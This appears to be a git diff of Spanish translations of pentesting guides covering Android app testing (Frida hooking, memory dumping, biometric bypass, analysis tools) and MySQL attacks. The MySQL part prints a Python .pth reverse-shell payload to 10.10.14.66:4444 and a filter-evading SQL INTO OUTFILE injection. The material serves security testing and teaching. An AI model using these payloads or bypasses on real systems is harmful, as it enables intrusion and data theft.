**Puedes acceder a la aplicación en ejecución y hookear métodos en tiempo de ejecución para cambiar el comportamiento, modificar valores, extraer valores, ejecutar código diferente...**\
|
||||
Si quieres pentest aplicaciones Android necesitas saber cómo usar Frida.
|
||||
|
||||
- Aprende a usar Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Algunas "GUI" para acciones con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection es ideal para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Puedes encontrar algunos Awesome Frida scripts aquí: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Ojection es genial para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Puedes encontrar algunos scripts Awesome de Frida aquí: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Intenta evadir mecanismos anti-debugging / anti-frida cargando Frida como se indica en [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (herramienta [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
#### Anti-instrumentation & SSL pinning bypass workflow
|
||||
@ -517,7 +515,7 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
|
||||
### **Volcar memoria - Fridump**
|
||||
|
||||
Comprueba si la aplicación está almacenando información sensible en la memoria que no debería guardar, como contraseñas o frases mnemónicas.
|
||||
Comprueba si la aplicación está almacenando información sensible en la memoria que no debería, como contraseñas o mnemónicos.
|
||||
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puedes volcar la memoria de la app con:
|
||||
```bash
|
||||
@ -528,35 +526,35 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Esto volcará la memoria en la carpeta ./dump, y allí podrías usar grep con algo como:
|
||||
Esto volcará la memoria en la carpeta ./dump, y allí podrías hacer grep con algo como:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Datos sensibles en Keystore**
|
||||
|
||||
En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios sigue siendo **posible acceder a él**. Como las aplicaciones tienden a almacenar aquí **datos sensibles en clear text**, los pentests deberían comprobarlo como root user o alguien con acceso físico al dispositivo podría robar estos datos.
|
||||
En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios todavía es **posible acceder a él**. Como las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, los pentests deberían comprobarlo, ya que un root user o alguien con acceso físico al dispositivo podría robar estos datos.
|
||||
|
||||
Incluso si una app almacena datos en el Keystore, los datos deberían estar cifrados.
|
||||
Incluso si una app almacenara datos en el Keystore, los datos deberían estar cifrados.
|
||||
|
||||
Para acceder a los datos dentro del Keystore puedes usar este Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Para acceder a los datos dentro del Keystore puedes usar este script de Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
Usando el siguiente script de Frida podría ser posible **bypass fingerprint authentication** que realizan las aplicaciones Android para **proteger ciertas áreas sensibles:**
|
||||
Usando el siguiente script de Frida podría ser posible **bypass fingerprint authentication** que las aplicaciones Android podrían estar realizando para **proteger ciertas áreas sensibles:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Imágenes de fondo**
|
||||
|
||||
Cuando pones una aplicación en segundo plano, Android guarda una **instantánea de la aplicación** para que, al recuperarla al primer plano, empiece cargando la imagen antes que la app y parezca que la aplicación se cargó más rápido.
|
||||
Cuando pones una aplicación en segundo plano, Android almacena una **instantánea de la aplicación** para que, cuando se recupere al primer plano, comience a cargar la imagen antes que la propia aplicación, haciendo que parezca que se carga más rápido.
|
||||
|
||||
Sin embargo, si esta instantánea contiene **información sensible**, alguien con acceso a la instantánea podría **robar esa información** (nota: necesitas root para acceder a ella).
|
||||
Sin embargo, si esta instantánea contiene **información sensible**, alguien con acceso a la instantánea podría **robar esa información** (nota: se necesita root para acceder a ella).
|
||||
|
||||
Las instantáneas suelen almacenarse en: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android proporciona una forma de **evitar la captura de pantalla configurando el parámetro de layout FLAG_SECURE**. Al usar este flag, el contenido de la ventana se trata como seguro, impidiendo que aparezca en capturas de pantalla o que se muestre en displays no seguros.
|
||||
Android proporciona una forma de **evitar la captura de pantalla configurando el parámetro de layout FLAG_SECURE**. Al usar esta flag, el contenido de la ventana se trata como seguro, impidiendo que aparezca en capturas de pantalla o que se vea en pantallas no seguras.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -566,26 +564,26 @@ Esta herramienta puede ayudarte a gestionar diferentes herramientas durante el a
|
||||
|
||||
### Intent Injection
|
||||
|
||||
Los desarrolladores suelen crear proxy components como activities, services y broadcast receivers que manejan estos Intents y los pasan a métodos como `startActivity(...)` o `sendBroadcast(...)`, lo cual puede ser riesgoso.
|
||||
Los desarrolladores a menudo crean componentes proxy como activities, services y broadcast receivers que manejan estos Intents y los pasan a métodos como `startActivity(...)` o `sendBroadcast(...)`, lo cual puede ser arriesgado.
|
||||
|
||||
El peligro radica en permitir a los atacantes activar componentes de la app non-exported o acceder a content providers sensibles redirigiendo indebidamente estos Intents. Un ejemplo notable es el componente `WebView` convirtiendo URLs a objetos `Intent` mediante `Intent.parseUri(...)` y luego ejecutándolos, lo que puede conducir a malicious Intent injections.
|
||||
El peligro radica en permitir que atacantes activen componentes de la app no exportados o accedan a content providers sensibles al redirigir estos Intents. Un ejemplo notable es el componente `WebView` que convierte URLs en objetos `Intent` mediante `Intent.parseUri(...)` y luego los ejecuta, lo que puede conducir a malicious Intent injections.
|
||||
|
||||
### Puntos esenciales
|
||||
### Conclusiones esenciales
|
||||
|
||||
- **Intent Injection** es similar al Open Redirect en la web.
|
||||
- **Intent Injection** es similar al Open Redirect de la web.
|
||||
- Los exploits implican pasar objetos `Intent` como extras, que pueden ser redirigidos para ejecutar operaciones inseguras.
|
||||
- Puede exponer componentes non-exported y content providers a atacantes.
|
||||
- La conversión de URLs a `Intent` por parte de `WebView` puede facilitar acciones no deseadas.
|
||||
- Puede exponer componentes no exportados y content providers a atacantes.
|
||||
- La conversión de URLs a `Intent` que realiza `WebView` puede facilitar acciones no intencionadas.
|
||||
|
||||
### Inyecciones del lado del cliente en Android y otros
|
||||
### Inyecciones del lado cliente en Android y otras
|
||||
|
||||
Probablemente conozcas este tipo de vulnerabilidades desde la Web. Debes tener especial cuidado con estas vulnerabilidades en una aplicación Android:
|
||||
Probablemente conozcas este tipo de vulnerabilidades por la Web. Debes tener especial cuidado con estas vulnerabilidades en una aplicación Android:
|
||||
|
||||
- **SQL Injection:** Cuando trates con consultas dinámicas o Content-Providers, asegúrate de usar consultas parametrizadas.
|
||||
- **JavaScript Injection (XSS):** Verifica que el soporte de JavaScript y Plugins esté deshabilitado para cualquier WebView (deshabilitado por defecto). [Más información aquí](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** Las WebViews deberían tener el acceso al sistema de archivos deshabilitado (habilitado por defecto) - `(webview.getSettings().setAllowFileAccess(false);)`. [Más información aquí](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: En varios casos, cuando la aplicación Android finaliza la sesión, la cookie no se revoca o incluso puede ser guardada en disco
|
||||
- [**Secure Flag** en cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
- **SQL Injection:** Al manejar queries dinámicas o Content-Providers, asegúrate de usar consultas parametrizadas.
|
||||
- **JavaScript Injection (XSS):** Verifica que el soporte de JavaScript y Plugins esté deshabilitado para cualquier WebView (deshabilitado por defecto). [Más info aquí](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** Los WebViews deberían tener el acceso al sistema de archivos deshabilitado (habilitado por defecto) - `(webview.getSettings().setAllowFileAccess(false);)`. [Más info aquí](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: En varios casos cuando la aplicación android termina la sesión, la cookie no se revoca o incluso puede guardarse en disco
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
@ -609,7 +607,7 @@ MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal
|
||||
|
||||
### Assisted Dynamic analysis with MobSF
|
||||
|
||||
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**._\
|
||||
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
The **MobSF dynamic analyser** can:
|
||||
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
|
||||
@ -630,12 +628,12 @@ MobSF also allows you to load your own **Frida scripts** (to send the results of
|
||||
|
||||
Moreover, you have some Auxiliary Frida functionalities:
|
||||
|
||||
- **Enumerate Loaded Classes**: Imprimirá todas las clases cargadas
|
||||
- **Capture Strings**: Imprimirá todas las cadenas capturadas mientras usas la aplicación (muy ruidoso)
|
||||
- **Capture String Comparisons**: Puede ser muy útil. Mostrará las 2 cadenas que se están comparando y si el resultado fue True o False.
|
||||
- **Enumerate Class Methods**: Introduce el nombre de la clase (como "java.io.File") y listará todos los métodos de la clase.
|
||||
- **Search Class Pattern**: Busca clases por patrón
|
||||
- **Trace Class Methods**: Traza una clase completa (ver entradas y salidas de todos los métodos de la clase). Recuerda que por defecto MobSF traza varios métodos interesantes de la API de Android.
|
||||
- **Enumerate Loaded Classes**: It will print all the loaded classes
|
||||
- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
|
||||
- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
|
||||
- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
|
||||
- **Search Class Pattern**: Search classes by pattern
|
||||
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
|
||||
|
||||
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
|
||||
|
||||
@ -652,22 +650,22 @@ receivers
|
||||
```
|
||||
**Herramientas HTTP**
|
||||
|
||||
Cuando se captura tráfico HTTP puedes ver una vista tosca del tráfico capturado en el botón "**HTTP(S) Traffic**" o una vista más agradable en el botón verde "**Start HTTPTools**". Desde la segunda opción, puedes **enviar** las **solicitudes capturadas** a **proxies** como Burp u Owasp ZAP.\
|
||||
Para ello, _enciende Burp -->_ _desactiva Intercept --> en MobSF HTTPTools selecciona la solicitud_ --> pulsa "**Send to Fuzzer**" --> _selecciona la dirección del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Cuando el tráfico HTTP es capturado puedes ver una vista fea del tráfico capturado en el botón "**HTTP(S) Traffic**" inferior o una vista más agradable en el botón verde "**Start HTTPTools**". Desde la segunda opción, puedes **enviar** las **solicitudes capturadas** a **proxies** como Burp o Owasp ZAP.\
|
||||
Para ello, _enciende Burp -->_ _desactiva Intercept --> en MobSB HTTPTools selecciona la solicitud_ --> pulsa "**Send to Fuzzer**" --> _selecciona la dirección del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Una vez termines el análisis dinámico con MobSF puedes pulsar "**Start Web API Fuzzer**" para **fuzzear solicitudes HTTP** y buscar vulnerabilidades.
|
||||
Una vez finalices el análisis dinámico con MobSF puedes pulsar "**Start Web API Fuzzer**" para **fuzz http requests** y buscar vulnerabilidades.
|
||||
|
||||
> [!TIP]
|
||||
> Después de realizar un análisis dinámico con MobSF la configuración del proxy puede quedar mal configurada y no podrás arreglarla desde la GUI. Puedes corregir la configuración del proxy ejecutando:
|
||||
> Después de realizar un análisis dinámico con MobSF la configuración del proxy puede quedar mal configurada y no podrás arreglarla desde la GUI. Puedes corregir la configuración del proxy haciendo:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
> ```
|
||||
|
||||
### Análisis dinámico asistido con Inspeckage
|
||||
### Análisis Dinámico Asistido con Inspeckage
|
||||
|
||||
Puedes obtener la herramienta en [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Esta herramienta usa algunos **Hooks** para mostrarte **qué está ocurriendo en la aplicación** mientras llevas a cabo un **análisis dinámico**.
|
||||
Puedes obtener la herramienta desde [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Esta herramienta usará algunos **Hooks** para informarte **qué está sucediendo en la aplicación** mientras realizas un **análisis dinámico**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
@ -677,7 +675,7 @@ Esta es una **excelente herramienta para realizar análisis estático con una GU
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Esta herramienta está diseñada para buscar varias vulnerabilidades relacionadas con la seguridad en aplicaciones Android, ya sea en el **source code** o en **packaged APKs**. La herramienta también es capaz de crear un APK desplegable tipo **"Proof-of-Concept"** y generar **ADB commands** para explotar algunas de las vulnerabilidades encontradas (Exposed activities, intents, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba.
|
||||
Esta herramienta está diseñada para buscar varias **vulnerabilidades de aplicaciones Android relacionadas con la seguridad**, ya sea en **código fuente** o en **APKs empaquetados**. La herramienta también es **capaz de crear un APK desplegable "Proof-of-Concept"** y **ADB commands**, para explotar algunas de las vulnerabilidades encontradas (Exposed activities, intents, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -686,8 +684,8 @@ qark --java path/to/specific/java/file.java
|
||||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- Muestra todos los archivos extraídos para referencia rápida
|
||||
- Decompila automáticamente archivos APK a formato Java y Smali
|
||||
- Muestra todos los archivos extraídos para facilitar la consulta
|
||||
- Descompila automáticamente archivos APK a formato Java y Smali
|
||||
- Analiza AndroidManifest.xml en busca de vulnerabilidades y comportamientos comunes
|
||||
- Análisis estático del código fuente en busca de vulnerabilidades y comportamientos comunes
|
||||
- Información del dispositivo
|
||||
@ -697,11 +695,11 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER es una aplicación de línea de comandos que puede usarse en Windows, MacOS X y Linux, que analiza archivos _.apk_ en busca de vulnerabilidades. Hace esto descomprimiendo APKs y aplicando una serie de reglas para detectar esas vulnerabilidades.
|
||||
SUPER es una aplicación de línea de comandos que puede usarse en Windows, MacOS X y Linux, y que analiza archivos _.apk_ en busca de vulnerabilidades. Lo hace descomprimiendo APKs y aplicando una serie de reglas para detectar esas vulnerabilidades.
|
||||
|
||||
Todas las reglas se centralizan en un archivo `rules.json`, y cada empresa o tester puede crear sus propias reglas para analizar lo que necesiten.
|
||||
Todas las reglas están centralizadas en un archivo `rules.json`, y cada empresa o tester puede crear sus propias reglas para analizar lo que necesite.
|
||||
|
||||
Descarga los binarios más recientes desde la [download page](https://superanalyzer.rocks/download.html)
|
||||
Descarga los últimos binarios desde la [download page](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
@ -711,9 +709,9 @@ super-analyzer {apk_file}
|
||||
|
||||
StaCoAn es una herramienta **crossplatform** que ayuda a desarrolladores, bugbounty hunters y ethical hackers a realizar [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) en aplicaciones móviles.
|
||||
|
||||
El concepto es que arrastres y sueltes el archivo de tu aplicación móvil (un archivo .apk o .ipa) en la aplicación StaCoAn y esta generará un informe visual y portable para ti. Puedes ajustar la configuración y las wordlists para obtener una experiencia personalizada.
|
||||
El concepto es que arrastres y sueltes el archivo de tu aplicación móvil (un .apk o .ipa file) en la aplicación StaCoAn y ésta generará un informe visual y portable para ti. Puedes ajustar la configuración y las wordlists para obtener una experiencia personalizada.
|
||||
|
||||
Download[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Descargar[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
@ -729,9 +727,9 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn** es una herramienta cuyo objetivo principal es detectar y advertir al usuario sobre posibles comportamientos maliciosos desarrollados por una aplicación Android.
|
||||
|
||||
La detección se realiza mediante el **static analysis** del Dalvik bytecode de la aplicación, representado como **Smali**, con la librería [`androguard`](https://github.com/androguard/androguard).
|
||||
La detección se realiza mediante el **análisis estático** del bytecode Dalvik de la aplicación, representado como **Smali**, con la librería [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Esta herramienta busca **comportamientos comunes de aplicaciones "malas"** como: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
Esta herramienta busca **comportamientos comunes de aplicaciones "malas"** como: exfiltración de identificadores de telefonía, intercepción de flujos de audio/video, modificación de datos PIM, ejecución arbitraria de código...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -739,46 +737,46 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** es un Framework de Ingeniería Inversa y Análisis de Aplicaciones Móviles. Es una herramienta que agrupa herramientas comúnmente usadas para la ingeniería inversa y el análisis de aplicaciones móviles, para ayudar en las pruebas de aplicaciones móviles frente a las amenazas de seguridad móviles de OWASP. Su objetivo es hacer esta tarea más fácil y amigable para desarrolladores de aplicaciones móviles y profesionales de seguridad.
|
||||
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Es una herramienta que reúne herramientas comúnmente usadas de reverse engineering y análisis de aplicaciones móviles, para ayudar en las pruebas de aplicaciones móviles frente a las amenazas de seguridad móviles de OWASP. Su objetivo es hacer esta tarea más fácil y accesible para desarrolladores de aplicaciones móviles y profesionales de seguridad.
|
||||
|
||||
Es capaz de:
|
||||
It is able to:
|
||||
|
||||
- Extraer código Java y Smali usando diferentes herramientas
|
||||
- Analizar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Extraer información privada del APK usando regexps.
|
||||
- Analizar el Manifest.
|
||||
- Analizar los dominios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) y [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Desofuscar APK vía [apk-deguard.com](http://www.apk-deguard.com)
|
||||
- Extract Java and Smali code using different tools
|
||||
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Extract private information from the APK using regexps.
|
||||
- Analyze the Manifest.
|
||||
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Útil para detectar malware: [https://koodous.com/](https://koodous.com)
|
||||
Útil para detectar malware: [https://koodous.com/](https://koodous.com/)
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
Tenga en cuenta que, dependiendo del servicio y la configuración que use para ofuscar el código, los secretos pueden o no terminar ofuscados.
|
||||
Ten en cuenta que, dependiendo del servicio y la configuración que uses para ofuscar el código, los secretos pueden o no quedar ofuscados.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** es una herramienta de línea de comandos de código abierto que reduce, optimiza y ofusca código Java. Es capaz de optimizar bytecode así como detectar y eliminar instrucciones no utilizadas. ProGuard es software libre y se distribuye bajo la GNU General Public License, versión 2.
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
|
||||
|
||||
ProGuard se distribuye como parte del Android SDK y se ejecuta al compilar la aplicación en modo release.
|
||||
ProGuard is distributed as part of the Android SDK and runs when building the application in release mode.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Encuentra una guía paso a paso para desofuscar el apk en [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Según esa guía) La última vez que comprobamos, el modo de operación de Dexguard era:
|
||||
(From that guide) Last time we checked, the Dexguard mode of operation was:
|
||||
|
||||
- cargar un recurso como un InputStream;
|
||||
- pasar el resultado a una clase que hereda de FilterInputStream para descifrarlo;
|
||||
- hacer alguna ofuscación inútil para hacer perder unos minutos a un analista de ingeniería inversa;
|
||||
- pasar el resultado descifrado a un ZipInputStream para obtener un archivo DEX;
|
||||
- finalmente cargar el DEX resultante como un Resource usando el método `loadDex`.
|
||||
- load a resource as an InputStream;
|
||||
- feed the result to a class inheriting from FilterInputStream to decrypt it;
|
||||
- do some useless obfuscation to waste a few minutes of time from a reverser;
|
||||
- feed the decrypted result to a ZipInputStream to get a DEX file;
|
||||
- finally load the resulting DEX as a Resource using the `loadDex` method.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard invierte el proceso de ofuscación realizado por las herramientas de ofuscación de Android. Esto permite numerosos análisis de seguridad, incluyendo la inspección de código y la identificación de librerías.**
|
||||
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
|
||||
|
||||
Puedes subir un APK ofuscado a su plataforma.
|
||||
|
||||
@ -788,21 +786,21 @@ This is a LLM tool to find any potential security vulnerabilities in android app
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Es un deofuscador genérico para android. Simplify ejecuta virtualmente una app para entender su comportamiento y luego intenta optimizar el código para que se comporte de forma idéntica pero sea más fácil de entender para un humano. Cada tipo de optimización es simple y genérica, por lo que no importa qué tipo específico de ofuscación se haya usado.
|
||||
It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD te da información sobre cómo se hizo un APK. Identifica muchos compiladores, packers, ofuscadores y otras cosas raras. Es el [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
|
||||
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
|
||||
|
||||
### Manual
|
||||
|
||||
[Lee este tutorial para aprender algunos trucos sobre cómo revertir ofuscaciones personalizadas](manual-deobfuscation.md)
|
||||
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b es una máquina virtual de seguridad Android basada en ubuntu-mate que incluye la colección de los últimos frameworks, tutoriales y labs de diferentes entusiastas e investigadores de seguridad para reverse engineering y análisis de malware.
|
||||
AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## **Información básica**
|
||||
|
||||
**MySQL** puede describirse como un **Relational Database Management System (RDBMS)** de código abierto que está disponible sin coste. Funciona con el **Structured Query Language (SQL)**, permitiendo la gestión y manipulación de bases de datos.
|
||||
**MySQL** puede describirse como un **Sistema de Gestión de Bases de Datos Relacionales (RDBMS)** de código abierto y disponible sin coste. Opera con el **Lenguaje de Consulta Estructurado (SQL)**, lo que permite la gestión y manipulación de bases de datos.
|
||||
|
||||
**Puerto por defecto:** 3306
|
||||
```
|
||||
@ -41,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||||
```
|
||||
## **Comandos MySQL**
|
||||
## **Comandos de MySQL**
|
||||
```bash
|
||||
show databases;
|
||||
use <database>;
|
||||
@ -112,28 +112,28 @@ Puedes ver en la documentación el significado de cada privilegio: [https://dev.
|
||||
|
||||
#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
|
||||
|
||||
Abusando del clásico `INTO OUTFILE` primitive es posible obtener *arbitrary code execution* en objetivos que posteriormente ejecutan scripts de **Python**.
|
||||
Abusando del clásico `INTO OUTFILE` primitive es posible obtener *ejecución de código arbitrario* en objetivos que más tarde ejecuten scripts **Python**.
|
||||
|
||||
1. Usa `INTO OUTFILE` para colocar un archivo personalizado **`.pth`** dentro de cualquier directorio cargado automáticamente por `site.py` (p. ej. `.../lib/python3.10/site-packages/`).
|
||||
2. El archivo `.pth` puede contener una *una sola línea* que comience con `import ` seguida de código Python arbitrario que se ejecutará cada vez que el intérprete se inicie.
|
||||
3. Cuando el intérprete se ejecuta implícitamente por un script CGI (por ejemplo `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), el payload se ejecuta con los mismos privilegios que el proceso del servidor web (FortiWeb lo ejecutó como **root** → full pre-auth RCE).
|
||||
1. Usa `INTO OUTFILE` para dejar un archivo personalizado **`.pth`** dentro de cualquier directorio cargado automáticamente por `site.py` (p. ej. `.../lib/python3.10/site-packages/`).
|
||||
2. El archivo `.pth` puede contener una *única línea* que empiece con `import ` seguida de código Python arbitrario que se ejecutará cada vez que el intérprete arranque.
|
||||
3. Cuando el intérprete es ejecutado implícitamente por un CGI script (por ejemplo `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`) el payload se ejecuta con los mismos privilegios que el proceso del servidor web (FortiWeb lo ejecutó como **root** → full pre-auth RCE).
|
||||
|
||||
Ejemplo de payload `.pth` (una sola línea, no se pueden incluir espacios en el payload SQL final, por lo que puede ser necesario hex/`UNHEX()` o concatenación de cadenas):
|
||||
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
Ejemplo de creación del archivo mediante una consulta **UNION** (los caracteres de espacio reemplazados con `/**/` para eludir un filtro de espacios `sscanf("%128s")` y mantener la longitud total ≤128 bytes):
|
||||
Ejemplo de creación del archivo mediante una consulta **UNION** (los caracteres de espacio se reemplazan con `/**/` para eludir un filtro de espacios `sscanf("%128s")` y mantener la longitud total ≤128 bytes):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
Limitaciones importantes & bypasses:
|
||||
|
||||
* `INTO OUTFILE` **no puede sobrescribir** archivos existentes; elige un nombre de archivo nuevo.
|
||||
